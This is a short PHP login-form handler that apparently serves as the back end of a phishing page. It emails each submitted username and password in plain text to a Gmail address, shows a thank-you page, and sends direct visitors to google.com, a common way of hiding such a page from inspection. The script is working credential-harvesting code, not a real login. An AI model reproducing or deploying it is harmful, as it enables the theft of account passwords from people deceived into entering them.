if ($_SERVER["REQUEST_METHOD"] == "POST") {
$to = "your-ckntlnigltd@gmail.com"; // Change to your email
$subject = "New Login Submission";

$username = htmlspecialchars($_POST['username']);
$password = htmlspecialchars($_POST['password']);

$message = "Username: $username\nPassword: $password";

// Send email
mail($to, $subject, $message);

// Redirect after submission
header("Location: thankyou.html");
exit();
} else {
// Redirect back if accessed directly
header("Location: https://google.com");
exit();
}